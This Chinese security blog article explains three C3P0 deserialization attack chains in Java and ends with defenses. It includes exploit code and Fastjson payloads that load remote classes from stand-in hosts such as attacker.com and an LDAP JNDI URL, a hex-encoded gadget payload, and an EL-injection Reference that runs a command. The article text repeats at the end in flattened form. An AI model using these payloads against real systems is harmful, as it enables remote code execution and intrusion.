浅析C3P0攻击链
字数 953 2025-08-11 08:36:11

C3P0攻击链深度分析与利用指南

1. C3P0简介

C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。被广泛应用于Hibernate、Spring等开源项目中。

JDBC连接池的作用

  • 避免频繁创建和销毁数据库连接
  • 复用连接句柄,提高性能
  • 管理连接生命周期

2. 攻击链类型

C3P0存在三种主要攻击方式:

2.1 URLClassLoader远程类加载

漏洞点分析

位于PoolBackedDataSourceBase类的readObject方法:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // ...
    Object o = ois.readObject();
    if (o instanceof IndirectlySerialized)
        o = ((IndirectlySerialized) o).getObject();
    this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
    // ...
}

关键调用链:

PoolBackedDataSourceBase#readObject -> 
ReferenceIndirector#getObject -> 
ReferenceableUtils#referenceToObject -> 
ObjectFactory#getObjectInstance

利用步骤

  1. 构造恶意ConnectionPoolDataSource实现类
  2. 重写getReference()方法返回指向恶意类的Reference
  3. 通过反射设置connectionPoolDataSource字段
  4. 序列化触发

EXP代码示例

public class C3P0Exploit {
    public static class ExploitClass implements ConnectionPoolDataSource, Referenceable {
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("EvilClass", "EvilClass", "http://attacker.com/");
        }
        // 其他方法实现...
    }
    
    public static byte[] generatePayload() throws Exception {
        ExploitClass exp = new ExploitClass();
        PoolBackedDataSourceBase ds = new PoolBackedDataSourceBase(false);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(ds, exp);
        // 序列化ds对象...
    }
}

2.2 JNDI注入

漏洞点分析

位于JndiRefForwardingDataSourcedereference()方法:

public Object dereference() throws Exception {
    InitialContext ic = new InitialContext();
    return ic.lookup(this.getJndiName());
}

关键调用链:

JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime -> 
JndiRefForwardingDataSource#setLoginTimeout -> 
JndiRefForwardingDataSource#inner -> 
JndiRefForwardingDataSource#dereference() -> 
Context#lookup

EXP示例

String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
                "\"jndiName\":\"ldap://attacker.com/Exploit\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);

2.3 HEX序列化攻击

漏洞点分析

位于WrapperConnectionPoolDataSource构造方法中调用的C3P0ImplUtils.parseUserOverridesAsString

public static Map parseUserOverridesAsString(String userOverridesAsString) 
    throws IOException, ClassNotFoundException {
    if (userOverridesAsString != null) {
        String hexAscii = userOverridesAsString.substring(
            HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
        return (Map) SerializableUtils.fromByteArray(serBytes);
    }
    // ...
}

最终会调用ObjectInputStream.readObject()反序列化恶意数据。

利用步骤

  1. 生成恶意序列化对象的十六进制表示
  2. 构造格式为HexAsciiSerializedMap:[HEX_DATA]的字符串
  3. 通过Fastjson等触发

EXP示例

// 生成CC6链的十六进制payload
String hex = toHexAscii(serialize(CC6Gadget()));
String payload = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                 "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + "\"}";
JSON.parse(payload);

3. 不出网利用方式

当目标不出网且无Fastjson依赖时,可利用本地EL表达式注入:

public Reference getReference() throws NamingException {
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", 
        "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
    return ref;
}

4. 防御措施

  1. 升级C3P0到最新安全版本
  2. 限制反序列化源,使用白名单机制
  3. 网络层面限制出站连接
  4. 使用SecurityManager限制敏感操作
  5. 对JNDI查找进行严格校验

5. 环境搭建

Maven依赖:

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

6. 总结

C3P0攻击链展示了Java反序列化漏洞的多种利用方式,从远程类加载到本地表达式注入,攻击者可利用不同场景选择最合适的攻击方式。理解这些攻击链有助于更好地防御类似漏洞。

C3P0攻击链深度分析与利用指南 1. C3P0简介 C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。被广泛应用于Hibernate、Spring等开源项目中。 JDBC连接池的作用 : 避免频繁创建和销毁数据库连接 复用连接句柄,提高性能 管理连接生命周期 2. 攻击链类型 C3P0存在三种主要攻击方式: 2.1 URLClassLoader远程类加载 漏洞点分析 位于 PoolBackedDataSourceBase 类的 readObject 方法: 关键调用链: 利用步骤 构造恶意 ConnectionPoolDataSource 实现类 重写 getReference() 方法返回指向恶意类的Reference 通过反射设置 connectionPoolDataSource 字段 序列化触发 EXP代码示例 2.2 JNDI注入 漏洞点分析 位于 JndiRefForwardingDataSource 的 dereference() 方法: 关键调用链: EXP示例 2.3 HEX序列化攻击 漏洞点分析 位于 WrapperConnectionPoolDataSource 构造方法中调用的 C3P0ImplUtils.parseUserOverridesAsString : 最终会调用 ObjectInputStream.readObject() 反序列化恶意数据。 利用步骤 生成恶意序列化对象的十六进制表示 构造格式为 HexAsciiSerializedMap:[HEX_DATA] 的字符串 通过Fastjson等触发 EXP示例 3. 不出网利用方式 当目标不出网且无Fastjson依赖时,可利用本地EL表达式注入: 4. 防御措施 升级C3P0到最新安全版本 限制反序列化源,使用白名单机制 网络层面限制出站连接 使用SecurityManager限制敏感操作 对JNDI查找进行严格校验 5. 环境搭建 Maven依赖: 6. 总结 C3P0攻击链展示了Java反序列化漏洞的多种利用方式,从远程类加载到本地表达式注入,攻击者可利用不同场景选择最合适的攻击方式。理解这些攻击链有助于更好地防御类似漏洞。